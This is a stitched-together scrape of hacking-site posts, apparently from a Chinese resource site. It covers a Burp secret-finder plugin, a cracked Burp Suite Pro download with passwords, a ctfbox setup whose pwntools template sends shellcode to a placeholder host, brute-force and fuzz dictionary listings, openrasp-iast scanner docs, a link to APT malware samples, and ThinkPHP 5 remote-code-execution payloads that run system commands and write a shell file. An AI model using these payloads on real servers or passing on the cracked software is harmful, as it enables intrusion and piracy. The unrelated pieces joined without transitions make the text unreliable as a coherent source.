            regex = r"[:|=|\'|\"|\s*|`|´| |,|?=|\]|\|//|/\*}]("+reg[1]+r")[:|=|\'|\"|\s*|`|´| |,|?=|\]|\}|&|//|\*/]"
            issuename = "SecretFinder: %s"%(reg[0].replace('_',' '))
            issuelevel = "Information"
            issuedetail = """Potential Secret Find: <b>$asset$</b>
                         <br><br><b>Note:</b> Please check manually before making any action."""

            tmp_issues = self._CustomScans.findRegEx(regex, issuename, issuelevel, issuedetail)
            scan_issues = scan_issues + tmp_issues

        if len(scan_issues) > 0:
            return scan_issues
        else:
            return None

    def doPassiveScan(self, baseRequestResponse):
        scan_issues = []
        tmp_issues = []

        self._CustomScans = CustomScans(baseRequestResponse, self._callbacks)


        for reg in self.regexs.items():
            regex = r"[:|=|\'|\"|\s*|`|´| |,|?=|\]|\|//|/\*}]("+reg[1]+r")[:|=|\'|\"|\s*|`|´| |,|?=|\]|\}|&|//|\*/]"
            issuename = "SecretFinder: %s"%(reg[0].replace('_',' '))
            issuelevel = "Information"
            issuedetail = """Potential Secret Find: <b>$asset$</b>
                         <br><br><b>Note:</b> Please check manually before making any action."""

            tmp_issues = self._CustomScans.findRegEx(regex, issuename, issuelevel, issuedetail)
            scan_issues = scan_issues + tmp_issues

        if len(scan_issues) > 0:
            return scan_issues
        else:
            return None

class CustomScans:
    def __init__(self, requestResponse, callbacks):
        self._requestResponse = requestResponse
        self._callbacks = callbacks

        self._helpers = self._callbacks.getHelpers()

        self._params = self._helpers.analyzeRequest(requestResponse.getRequest()).getParameters()
        return

    def findRegEx(self, regex, issuename, issuelevel, issuedetail):
        scan_issues = []
        offset = array('i', [0, 0])
        response = self._requestResponse.getResponse()
        responseLength = len(response)

        if self._callbacks.isInScope(self._helpers.analyzeRequest(self._requestResponse).getUrl()):
            print(regex)
            myre = re.compile(regex, re.VERBOSE)
            encoded_resp=binascii.b2a_base64(self._helpers.bytesToString(response))
            decoded_resp=base64.b64decode(encoded_resp)
            decoded_resp = saxutils.unescape(decoded_resp)

            match_vals = myre.findall(decoded_resp)

            for ref in match_vals:
                url = self._helpers.analyzeRequest(self._requestResponse).getUrl()
                offsets = []
                start = self._helpers.indexOf(response,
                                    ref, True, 0, responseLength)
                offset[0] = start
                offset[1] = start + len(ref)
                offsets.append(offset)

                try:
                    print("%s : %s"%(issuename.split(':')[1],ref))
                    scan_issues.append(ScanIssue(self._requestResponse.getHttpService(),
                        self._helpers.analyzeRequest(self._requestResponse).getUrl(),
                        [self._callbacks.applyMarkers(self._requestResponse, None, offsets)],
                        issuename, issuelevel, issuedetail.replace("$asset$", ref)))
                except:
                    continue
        return (scan_issues)

class ScanIssue(IScanIssue):
    def __init__(self, httpservice, url, requestresponsearray, name, severity, detailmsg):
        self._url = url
        self._httpservice = httpservice
        self._requestresponsearray = requestresponsearray
        self._name = name
        self._severity = severity
        self._detailmsg = detailmsg

    def getUrl(self):
        return self._url

    def getHttpMessages(self):
        return self._requestresponsearray

    def getHttpService(self):
        return self._httpservice

    def getRemediationDetail(self):
        return None

    def getIssueDetail(self):
        return self._detailmsg

    def getIssueBackground(self):
        return None

    def getRemediationBackground(self):
        return None

    def getIssueType(self):
        return 0

    def getIssueName(self):
        return self._name

    def getSeverity(self):
        return self._severity

    def getConfidence(self):
        return "Tentative"

BurpSuite_Pro_v2.1.06 破解版
下载地址: https://www.lanzous.com/b00n7g4pg
密码: ddosi.com
burp 2.1.06版本2029年12月2日过期(key有效期为一年)

github:https://github.com/ddosi/hack

把三个压缩包 :
BurpSuite_Pro_v2.1.06.part1.rar
BurpSuite_Pro_v2.1.06.part2.rar
BurpSuite_Pro_v2.1.06.part3.rar
全部下载下来放在同一个目录下解压
解压密码 www.ddosi.com

关于burpsuite说明以及burp功能操作请参考往期文章
https://www.ddosi.com/?s=burp

破解方法下面我再说一下(正确的打开方式如下链接所示):
https://www.ddosi.com/b210/
——————————————
burp2.1.06破解版亲测可用,保险起见
请放虚拟机中运行 .

from

安装/构建

git clone https://github.com/boogy/ctfbox.git
cd ctfbox
docker build -t ctfbox .

Docker Hub

The image is also present on docker hub

docker pull boogy/ctfbox

运行ctfbox

启动映像

docker run -it boogy/ctfbox

gdb或gdbserver如果有问题您可以运行在特权模式下容器和主机网络。

sudo docker run -it --privileged --net=host boogy/ctfbox

安装一些工具和示例列表

• Z3 Solver
• Capstone
• Keystone Engine
• Binwalk
• radare2
• Afl
• Angr
• ROPgadget
• rp++
• binjitsu
• peda
• pwndbg

截图

binjitsu – CTF toolkit

from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()

Radare2

Peda

ROPGadget

from

密码字典 渗透测试字典 爆破字典
下载地址: https://www.lanzous.com/b00n7iwqh 
下载地址2:github.com/ddosi/hack
密码:ddosi.com
解压密码: www.ddosi.com

下图列出fuzz字典中的随机四个密码字典

该字典主要包括以下内容:

# 内容：

1. Port                       # 出现频率较高的端口号，平时我是使用Telnet来扫描端口，就没有每个端口号进行换行。

2. User                       # 主要是一些从网络上收集的用户密码。

       /IDC_password/         # IDC 爆破密码
       /User_name/            # 用户名
       /User_password/        # 用户密码

3. Web_Middleware_other       # 一些中间件、数据库、操作系统

       /db2/                  # db2 爆破
       /generic/
       /oracle/               # generic-listpairs 爆破
       /postgres/             # postgres 爆破
       /tomcat/               # tomcat 爆破
       /unix-os/              # unix 爆破
       /phpbb/                # phpbb 爆破
       /userAgents/           # useragent


4. Protocol_password          # 协议 例如：SNMP

5. Xss_payload                # 一些Xss payload

6. Sessionid                  # Sessionid 字典

7. Errors                     # 一些错误信息。ps：数据库、中间件等

8. Subdomains                 # 子域名。 ps：这个字典应该是老外的字典。

        /CcTLD/               # CcTLD
        /gTLD/                # gTLD
        /Subdomains_En/       # 普通的子域名。  ps：这个东西只能凑合用用，不是很全。

9. Fuzz                       # 一些Fuzz的内容。 ps：json、xml、callback等  里边内容太多了，就自己看文件名吧。

10. Web_shell                 # 一些webshell、常用密码、还有路径。

11. Xss_payload               # Xss paylod。

12. Path                      # 文件名、后缀、路径等

13. Other                     # 其他内容。 ps：主要是老外的

14. Patch                     # 路径、文件等

Explo1t Dict
│
├─Errors
│      errors.txt
│
├─Fuzz
│      Agreement.txt
│      alt-extensions-asp.txt
│      alt-extensions-coldfusion.txt
│      alt-extensions-jsp.txt
│      alt-extensions-perl.txt
│      alt-extensions-php.txt
│      amazon.txt
│      breakpoint-ignores.txt
│      callback.txt
│      callback_dict.txt
│      char.txt
│      command-execution-unix.txt
│      command-injection-template.txt
│      Commands-Linux.txt
│      Commands-OSX.txt
│      Commands-Windows.txt
│      Commands-WindowsPowershell.txt
│      common-ms-httpd-log-locations.txt
│      common-unix-httpd-log-locations.txt
│      CommonDebugParamNames.txt
│      CommonMethodNames.txt
│      crlf-injection.txt
│      DebugParams.Json.fuzz.txt
│      debug_param_name.txt
│      errors.txt
│      extensions.txt
│      file-ul-filter-bypass-commonly-writable-directories.txt
│      file-ul-filter-bypass-microsoft-asp-filetype-bf.txt
│      file-ul-filter-bypass-microsoft-asp.txt
│      file-ul-filter-bypass-ms-php.txt
│      file-ul-filter-bypass-x-platform-generic.txt
│      file-ul-filter-bypass-x-platform-php.txt
│      full_hex.txt
│      HexValsAllBytes.txt
│      hpp.txt
│      http-header-cache-poison.txt
│      http-protocol-methods.txt
│      http-request-header-field-names.txt
│      http-response-header-field-names.txt
│      image_size.txt
│      invalid-filenames-linux.txt
│      invalid-filenames-microsoft.txt
│      invalid-filesystem-chars-microsoft.txt
│      invalid-filesystem-chars-osx.txt
│      JSON_Fuzzing.txt
│      known-uri-types.txt
│      lfi-list.txt
│      localhost.txt
│      MimeTypes.txt
│      nsa-wordlist.txt
│      NullByteRepresentations.txt
│      OSCommandInject.Windows.txt
│      pii.readme.txt
│      pii.txt
│      redirect-injection-template.txt
│      redirect-urls-template.txt
│      server-side-includes-generic.txt
│      sessionid.txt
│      shell-delimiters.txt
│      shell-operators.txt
│      source-disc-cmd-exec-traversal.txt
│      Url-SSRF.txt
│      Url_redirct.txt
│      useful-commands-unix.txt
│      useful-commands-windows.txt
│      user-agents.txt
│      UserAgentListCommon.txt
│      UserAgentListLarge.txt
│      UserAgents.txt
│      XXE.txt
│
├─Other
│      faithwriters.txt
│      john.txt
│      namelist.txt
│      twitter.txt
│      weaksauce.txt
│
├─Patch
│  │  admin.txt
│  │  asp.txt
│  │  aspx.txt
│  │  back.txt
│  │  cfm.txt
│  │  cgi.txt
│  │  common.txt
│  │  dir.txt
│  │  dir2.txt
│  │  dir_big.txt
│  │  Fck编辑器.txt
│  │  fuckyou.txt
│  │  fuckyou2.txt
│  │  jsp.txt
│  │  mdb.txt
│  │  php.txt
│  │  py.txt
│  │  rar.txt
│  │  tomcat.txt
│  │  weblogic.txt
│  │  后门扫描.txt
│  │
│  └─跑表
│          数据.txt
│
├─Port
│      Port.txt
│
├─Protocol_password
│      Snmp_password.txt
│
├─Sessionid
│      sessionid.txt
│
├─Subdomains
│      CcTLD.txt
│      gTLD.txt
│      Subdomains_En.txt
│
├─User
│  ├─IDC_password
│  │      IDC_password_1.txt
│  │      IDC_password_2.txt
│  │      IDC_password_3.txt
│  │      IDC_password_4.txt
│  │      IDC_password_5.txt
│  │      IDC_password_6.txt
│  │
│  ├─User_name
│  │      China_name.txt
│  │      QQ_Mail.txt
│  │      renkoutop.txt
│  │      top10W.txt
│  │      top500username.txt
│  │      username.txt
│  │      User_name_En.txt
│  │      常用mail.txt
│  │
│  └─User_password
│          3389爆破密码.txt
│          Comprehensive_password_10_En.txt
│          Comprehensive_password_11_En.txt
│          Comprehensive_password_1_En.txt
│          Comprehensive_password_2_En.txt
│          Comprehensive_password_3_En.txt
│          Comprehensive_password_4_En.txt
│          Comprehensive_password_5_En.txt
│          Comprehensive_password_6_En.txt
│          Comprehensive_password_7_En.txt
│          Comprehensive_password_8_En.txt
│          Comprehensive_password_9_En.txt
│          jiahouzhui.py
│          NT密码.txt
│          passwords_1.txt
│          top100password.txt
│          Wail_passwd.txt
│          Weak_password.txt
│          密码.txt
│          密码1.txt
│          常用_passwd.txt
│          常用密码1.txt
│          常用运维系统用户名、密码.txt
│
├─Web_Middleware_other
│  │  liunx_users_dictionaries.txt
│  │  weblogic默认用户名、密码.txt
│  │
│  ├─db2
│  │      db2_default_pass.txt
│  │      db2_default_user.txt
│  │      db2_default_userpass.txt
│  │
│  ├─generic-listpairs
│  │      http_default_pass.txt
│  │      http_default_userpass.txt
│  │      http_default_users.txt
│  │
│  ├─oracle
│  │      oracle_logins.txt
│  │      oracle_login_password.txt
│  │      oracle_passwords.txt
│  │      _hci_oracle_passwords.txt
│  │      _oracle_default_passwords.txt
│  │
│  ├─phpbb
│  │      phpbb.txt
│  │
│  ├─postgres
│  │      postgres_default_pass.txt
│  │      postgres_default_user.txt
│  │      postgres_default_userpass.txt
│  │
│  ├─tomcat
│  │      tomcat_mgr_default_pass.txt
│  │      tomcat_mgr_default_userpass.txt
│  │      tomcat_mgr_default_users.txt
│  │
│  ├─unix-os
│  │      unix_passwords.txt
│  │      unix_users.txt
│  │
│  └─userAgents
│          UserAgents.txt
│
├─Web_shell
│      list.txt
│      webshellPassword.txt
│      webshell常用密码.txt
│
└─Xss_payload
        all-encodings-of-lt.txt
        default-javascript-event-attributes.txt
        easyXssPayload.txt
        html-event-attributes.txt
        JHADDIX_XSS_WITH_CONTEXT.doc.txt
        README.txt
        xss-other.txt
        xss-rsnake.txt
        xss-uri.txt
        XSSPolyglot.txt

from

openrasp-iast 是一款灰盒漏洞扫描工具，能够结合应用内部hook点信息精确的检测漏洞。传统黑盒扫描器依赖于页面响应检测漏洞，不但需要发送大量的请求，还有误报的可能。对于SSRF、文件上传等漏洞，在页面没有回显、主机没有外网权限的情况下，还可能会漏报。openrasp-iast 很好的解决了上述问题，下面我们来看下如何安装它。

另外，IAST 污点追踪功能已经在开发中，将会跟随商业版本发布。若要了解当前的系统架构，请参考 二次开发 – 架构说明 – 灰盒扫描器 文档。

• 快速体验
• 安装或升级扫描器
• 配置管理后台
• 配置并启动扫描器
• IAST 控制台
  • URL 白名单
  • 扫描并发速率控制
• FAQ
  • 1. 目前支持哪些漏洞的检测？
  • 2. 调试日志说明
  • 3. 常见错误说明
  • 4. 找不到 openrasp-iast 命令
  • 5. 在 IAST 控制台清空或删除任务之后，原先的漏洞无法再次检出
  • 6. IAST 控制台看不到任务
  • 7. IAST 启动任务后扫描不到任何漏洞
  • 8. IAST 扫描一直没有完成
  • 9. MySQL 出现 Too many connections 错误

快速体验

我们提供了一整套的测试环境，包含 IAST 扫描器、OpenRASP 管理后台 以及 漏洞测试用例。如果你已经安装了docker-compose, 首先修改 vm.max_map_count (参考这篇文档])

sudo sysctl -w vm.max_map_count=262144

然后执行如下命令，即可启动环境:

git clone https://github.com/baidu-security/openrasp-iast.git
cd openrasp-iast/docker/iast-cloud
docker-compose up

之后，请按照顺序分别:

• 访问 http://127.0.0.1:18662/vulns/ 触发PHP测试用例
• 访问 http://127.0.0.1:18661/ IAST控制台启动扫描
• 访问 http://127.0.0.1:18660/ 云控后台(账号openrasp/admin@123)，左上角选择IAST应用查看扫描结果

安装或升级扫描器

本工具仅支持Linux平台，在开始之前，请先确保安装:

1. OpenRASP 管理后台 版本 >= 1.2.0，并至少有一台在线主机
2. Python 3.6 或者更高版本
3. MySQL 5.5.3， 或者更高版本

使用 pip3 安装 openrasp-iast，以及依赖的库:

pip3 install --upgrade git+https://github.com/baidu-security/openrasp-iast

也可以直接下载 PyInstaller 打包的二进制版本，我们每隔2小时自动更新一次:

wget https://packages.baidu.com/app/openrasp/openrasp-iast-latest -O /usr/bin/openrasp-iast

配置 MySQL 数据库，建立名为 openrasp 的数据库，并为 rasp@% 授权，密码为 rasp123（建议使用强度更高的密码，这里只是举例）。请用 root 账号连接 mysql 并执行如下语句:

DROP DATABASE IF EXISTS openrasp;
CREATE DATABASE openrasp default charset utf8mb4 COLLATE utf8mb4_general_ci;
grant all privileges on openrasp.* to 'rasp'@'%' identified by 'rasp123';
grant all privileges on openrasp.* to 'rasp'@'localhost' identified by 'rasp123';

配置管理后台

打开云控管理后台，左上角选择一个IAST扫描器使用的应用，若没有可以在应用管理创建一个。扫描器检出的报警都可以在这里查看。

然后在 插件管理 里，上传并下发 IAST 插件。若在插件列表里无法看到名为 iast: 2019-XXXX-YYYY 的插件，可以手动从 baidu/openrasp 下载并上传。

接着在 防护设置 -> Fuzz 服务器地址 里填入 openrasp-iast 所监听的URL，e.g

http://IAST服务器地址:25931/openrasp-result

最后在 系统设置 -> 通用设置中，修改检测配置:

1. [插件] 单个hook点最大执行时间 设置为 5000
2. 开启文件过滤器: 当文件不存在时不调用检测插件 设置为 关闭
3. LRU 大小 设置为 0

点击保存后，以上配置需要等待一个心跳周期后生效（默认90秒）。如果想要立即生效，请手动重启下 Tomcat/PHP 等服务器。

配置并启动扫描器

在云控后台右上角 添加主机 -> Fuzz 工具安装 找到 fuzz 工具安装命令。执行后会自动创建配置文件，并修正云控相关字段:

openrasp-iast config -a APP_ID -b APP_SECRET -c BACKEND_URL -m mysql://rasp:rasp123@127.0.0.1/openrasp

若要在前台启动，请使用如下命令:

openrasp-iast start -f

若要在后台启动，请去掉 -f 参数:

openrasp-iast start

若启动成功，我们默认会监听 18664 端口，可以直接使用浏览器打开 YOUR_IP:18664 访问 IAST 控制台。

IAST 控制台

openrasp-iast 是被动扫描模式，不会使用爬虫技术去获取URL信息。当 iast.js 下发成功，Java/PHP 内部的探针会自动在请求结束时，将本次请求的参数、hook点信息提交给 openrasp-iast 服务器进行分析，并选择性的 Fuzz 目标。

通常，我们会将 OpenRASP 部署至测试环境，并长期运行。在QA、RD做单元测试、功能测试时自动的进行漏洞检测。检测的目标按照 IP:PORT 或者 HOST 进行分组，每个目标可以有不同的配置。若勾选 自动启动扫描 选项，则会在发现新目标时自动启动扫描任务:

在任何状态下，都可点击 设置 按钮对某个任务进行配置，设置会立即生效。

URL 白名单

若要避免扫描某些URL，比如注销页面 /logout.php，可以在 IAST 控制台设置一个正则表达式，e.g

^/logout\.php.*

控制台会在保存时自动校验正则表达式是否合法。

扫描并发速率控制

openrasp-iast 会自动调节扫描速率，默认最大并发是 20，扫描间隔是 0 ~ 1000ms。若扫描速率过快可能会造成拒绝服务，请谨慎修改。

FAQ

1. 目前支持哪些漏洞的检测？

目前支持的漏洞触发条件均为用户输入的参数直接拼接产生的漏洞，尚不支非持非http参数、参数编解码方式触发的漏洞，包含以下类型：

• 命令注入
• 目录遍历
• PHP eval代码执行
• 文件上传
• 文件包含
• 任意文件读取
• 任意文件写入
• SQL注入
• SSRF
• Java XXE

2. 调试日志说明

openrasp-iast 包含如下几类日志，默认存储路径为 ~/openrasp-iast/logs:

3. 常见错误说明

启动失败：

• OSError: [Errno 48] Address already in use指定的http服务端口被占用，检查openrasp-iast是否已在运行，或是其他应用占用了配置项中preprocessor.http_port和monitor.console_port指定的端口
• OSError: [Errno 24] Too many open files文件描述符超过限制，使用 ulimit -n 10240 命令修改当前文件描述符数量限制后再启动

4. 找不到 openrasp-iast 命令

如果是 pip3 安装后没有 openrasp-iast 命令，那么它可能是被安装到了 python3 所在的目录，如 /usr/local/lib/python3.7/bin。

解决方法有:

1. 添加软链接，比如以 root 执行 ln -s /usr/local/lib/python3.7/bin/openrasp-iast /usr/bin 命令
2. 将该目录加入 $PATH，比如在当前shell下执行 export PATH=$PATH:/usr/local/lib/python3.7/bin

5. 在 IAST 控制台清空或删除任务之后，原先的漏洞无法再次检出

1. 请先确认漏洞是否已经修复
2. 如果漏洞未修复，请检查 云控后台 -> 系统设置 -> 通用设置->LRU 大小 的设置是否为 0。

6. IAST 控制台看不到任务

1. 尝试在目标系统进行一些操作，触发一些API接口调用
2. 检查 logs/preprocessor.log 中是否有收到请求信息的日志
3. 检查 openrasp-iast 服务器是否能够访问目标地址
   • 扫描器默认会使用 服务器 IP + HTTP头host字段的PORT 方式发起请求
   • 如果扫描器无法直接连接目标地址，你可以改为 HOST 方式扫描
   • 在后台 防护设置 -> 使用 HOST 直接访问的服务 里填入 .* 或者 匹配对应 host 的正则即可，被正则命中的HOST将作为扫描目标地址
4. 检查mysql系统变量
   • 如果 select @@lower_case_table_names 配置为1，请改为0或2并重新创建数据库
5. 检查agent端/rasp/logs/plugin/plugin.log 是否有连接错误
6. 如果还是没有任务，请将 ~/openrasp-iast/logs 打包提交给我们

7. IAST 启动任务后扫描不到任何漏洞

1. 如果使用的是官方测试环境，检查agent版本是否 > 1.2
2. 如果是自建靶场，查看~/openrasp-iast/logs/preprocessor.log中的请求日志，检查是否正确获取了hook_info

8. IAST 扫描一直没有完成

iast是被动模式的扫描，在启动扫描后会保持运行状态，对新获取的url进行实时扫描，扫描器无法预知是否还会有新请求被获取，当 总任务=已扫描+已失败 时，所有当前获取到的url已扫描完毕，如果没有继续扫描的需求，手动停止扫描即可

9. MySQL 出现 Too many connections 错误

MySQL 默认的最大连接数为 100，启动的扫描进程过多会导致MySQL连接数超过100并报错，只需在 my.ini 文件中添加或修改以下条目增加最大连接数即可

max_connections = 10000

攻击检测能力说明

OWASP TOP 10 覆盖说明

CVE 漏洞覆盖说明

本列表还在不断更新中，如果你有任何疑问，请联系我们。

大部分漏洞环境都可以在 baidu-security/app-env-docker – 基于 Docker 的真实应用测试环境 找到，如果你需要进行测试，参考上面的文档操作即可。

• Java 漏洞
• PHP 漏洞
• NodeJS 漏洞
• Python 漏洞
• Ruby 漏洞

Java 漏洞

Struts OGNL 系列

• CVE-2013-2251 – Apache Struts2 S2-016 OGNL 代码执行漏洞
• CVE-2017-5638 – Apache Struts2 S2-045 OGNL 代码执行漏洞

Spring 系列

• CVE-2018-1273 – RCE with Spring Data Commons 分析报告
• CVE-2017-4971 – Spring Web Flow 远程代码执行漏洞
• CVE-2018-1260 – RCE with spring-security-oauth2
• Spring Boot < 1.2.8 SSTI 代码执行漏洞

反序列化系列

• CVE-2017-12149 – JBOSSAS 5.x/6.x 反序列化命令执行漏洞
• CVE-2017-9805 – Apache Struts S2-052
• CVE-2016-0792 – Jenkins XStream 反序列化漏洞
• Fastjson 反序列化漏洞

任意文件下载

• Confluence 5.8.10 任意文件读取漏洞

任意代码执行

• CVE-2018-14667 – Unauthenticated Remote Code execution in WebApps using Richfaces 3.X all versions
• CVE-2018-16341 – Nuxeo 认证绕过和RCE漏洞

未分类

• CVE-2017-12615 – Tomcat PUT 任意文件上传漏洞
• CVE-2018-1000130 – Apache Jolokia JNDI 注入漏洞

PHP 漏洞

任意文件上传

• Monstra 3.0.4 任意文件上传漏洞（使用大写PHP扩展名绕过过滤）
• CVE-2018-9153 – Z-BlogPHP 1.5.1 后台文件上传
• CVE-2018-8893 – Z-BlogPHP 1.5.1 CSRF GetShell

SQLi

• CVE-2018-8045 – Joomla! 3.5 – 3.8.5 SQLi 漏洞
• CVE-2017-8917 – Joomla! 3.7.0 Core SQL Injection
• Thinkphp框架 < 5.0.16 sql注入漏洞分析
• Thinkphp 3.2.3 最新版update注入漏洞
• SemCms 2.3 多个SQL注入漏洞
• ECShop 3.0.0 SQL注入漏洞
• ZentaoPMS SQL注入漏洞
• CVE-2018-5211 – PHPMelody 2.7.1 SQL注入漏洞
• CVE-2017-15081 – PHPMelody 2.6.1 SQL注入漏洞
• HDWiki 6.0 referer注入漏洞
• PHPMyWind <= 5.3 SQL 注入漏洞

任意文件写入 – 需要开启 writeFile_script 算法

• 帝国CMS CSRF GetShell
• TinyShop 缓存文件获取 webShell
• CmsEasy < 5.6 20161012 cut_image 代码执行漏洞

任意文件包含

• CVE-2018-7422 – LFI vulnerability in WordPress Site Editor Plugin
• phpMyAdmin 4.8.x文件包含漏洞

任意文件下载

• PHPCMS 9.6.2 文件读取漏洞
• PHPCMS 9.6.1 任意文件下载漏洞
• TinyShop 2.4 任意文件读取漏洞
• PHPMyWind 5.3 后台任意文件读取漏洞

目录遍历漏洞

• PHPMyWind 5.3 后台目录遍历漏洞

代码执行

• CVE-2017-1000480 – Smarty <= 3.1.32 代码执行漏洞
• Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
• 海洋CMS SeaCMS <= 6.45 searchword 代码注入漏洞
• ThinkPHP 2.X dispatcher preg_replace 代码执行漏洞
• CVE-2016-4010 – Magento代码执行漏洞

反序列化

• Typecho 反序列化漏洞导致前台getshell

SSRF

• vBulletin MEDIA UPLOAD SSRF 漏洞
• PHP-Proxy 5.1.0 – Local File Inclusion (SSRF 导致的)

项目地址: github
具体文档内容: https://rasp.baidu.com/doc/install/iast.html

740G黑客资料 defcon黑客大会资料
文件实际大小为739.32G,共计9680个文件,文件中还包含了其他的种子链接,实际大小大于740G,
该文件包含CTF,生活方方面面的破解技巧(浏览器,手机,电脑,内核,工控系统,智能设备,汽车等),攻击手法.

下载地址: github.com/ddosi/hack

740G黑客资料 defcon黑客大会资料
文件实际大小为739.32G,共计9680个文件,文件中还包含了其他的种子链接,实际大小大于740G,
该文件包含CTF,生活方方面面的破解技巧(浏览器,手机,电脑,内核,工控系统,智能设备,汽车等),攻击手法.
下载地址: github.com/ddosi/hack

项目地址:github
恶意样本下载链接:
github.com/RedDrip7/APT_Digital_Weapon/archive/master.zip

包含的恶意样本有下面这些:

APT-C-01,APT-C-15,APT-C-23,APT-C-27,APT-C-36,APT-C-37,APT1,APT10,APT15,APT16,APT17,APT19,APT23,APT27,APT28,APT29,APT3,APT33,APT34,APT37,APT40,APT41,Agg,Ah,Attor,BITTER,Bisonal,BlackOasis,BlackTech,Blackgear,BlueMushroom,Bookworm,Buhtrap,C-Major,CARROTBAT,CRASHOVERRIDE,Calypso,Chafer,Charming Kitten,ChessMaster,ChinaZ,Cobalt Group,Cold River,Confucius,CopyKittens,DEADLYKISS,Dark Caracal,Dark Tequila,DarkHydrus,Darkhotel,Domestic Kitten,Donot,DustSquad,El Machete,Energetic Bear,Equation Group,EvilGnome,FIN6,FIN7,Gallmaker,Gamaredon Group,GlassRAT,Golden Chickens,Gorgon,Gravityrat,GreyEnergy,HEXANE,HackingTeam,Hades,Hellsing,HexCode,Higaisa,Honeybee,INDRIK SPIDER,IceFog,Inception Framework,Infy group,Iron Group,KONNI,Kimsuky,KingSqlZ,Kulak,LUNAR SPIDER,Lazarus Group,Leafminer,Longhorn,MM CORE,MageCart,MartyMcFly,Matryoshka,Metamorfo,Mofang,Molerats,MoneyTaker,MuddyWater,Mustang Panda,NARWHAL SPIDER,NotPetya,OceanLotus,OilRig,Operation Dustysky,Operation Ghoul,Orangeworm,Outlaw,PINCHY SPIDER,PKPLUG,PROMETHIUM,PUSIKURAC,
Pacha Group,PatchWork,PowerPool,PowerSniff,RANCOR,Red Signature,RedAlpha,Roma225,Rover,Ryuk,SEA,SWEED,Sandworm,Scarlet Mimic,ShadowHammer,Shamoon 3,Sidewinder,Silence,Slingshot,Snake Wine,SocketPlayer,Sowbug,Suckfly,TA505,TA555,TH-163,TOOHASH,TRITON,Taidoor,TajMahal,Thrip,Tick,Tortoiseshell,TurkHackTeam,Turla,Unit 8200,Urpage,WIRTE,White Company,WindShift,ZooPark,leetMX,projectsauron,xHunt

thinkphp5最出名的就是rce，我先总结rce，rce有两个大版本的分别

1. ThinkPHP 5.0-5.0.24
2. ThinkPHP 5.1.0-5.1.30

因为漏洞触发点和版本的不同，导致payload分为多种，其中一些payload需要取决于debug选项
比如直接访问路由触发的

5.1.x ：

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x ：

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

还有一种

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

可以看到payload分为两种类型，一种是因为Request类的method和__construct方法造成的，另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验，我们下面分两种来讲，然后会将thinkphp5的每个小版本都测试下找下可用的payload。

thinkphp5 method任意调用方法导致rce

php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug

创建项目

composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist

我这边创建完项目之后拿到的版本不是5.0.5的，如果你的也不是就把compsoer.json里的require字段改为

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.5"
},

JSON

然后运行compsoer update

漏洞分析

thinkphp/library/think/Request.php:504 Request类的method方法

可以通过POST数组传入__method改变$this->{$this->method}($_POST);达到任意调用此类中的方法。

然后我们再来看这个类中的__contruct方法

protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }
    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

PHP

重点是在foreach中，可以覆盖类属性，那么我们可以通过覆盖Request类的属性

这样filter就被赋值为system()了，在哪调用的呢？我们要追踪下thinkphp的运行流程
thinkphp是单程序入口，入口在public/index.php，在index.php中

require __DIR__ . '/../thinkphp/start.php';

引入框架的start.php，跟进之后调用了App类的静态run()方法

看下run()方法的定义

public static function run(Request $request = null)
{
    ...省略...
        // 获取应用调度信息
        $dispatch = self::$dispatch;
    if (empty($dispatch)) {
        // 进行URL路由检测
        $dispatch = self::routeCheck($request, $config);
    }
    // 记录当前调度信息
    $request->dispatch($dispatch);

    // 记录路由和请求信息
    if (self::$debug) {
        Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
        Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
        Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
    }
    ...省略...
        switch ($dispatch['type']) {
            case 'redirect':
                // 执行重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
                break;
            case 'module':
                // 模块/控制器/操作
                $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                break;
            case 'controller':
                // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
                break;
            case 'method':
                // 执行回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function':
                // 执行闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response':
                $data = $dispatch['response'];
                break;
            default:
                throw new InvalidArgumentException('dispatch type not support');
        }
}

PHP

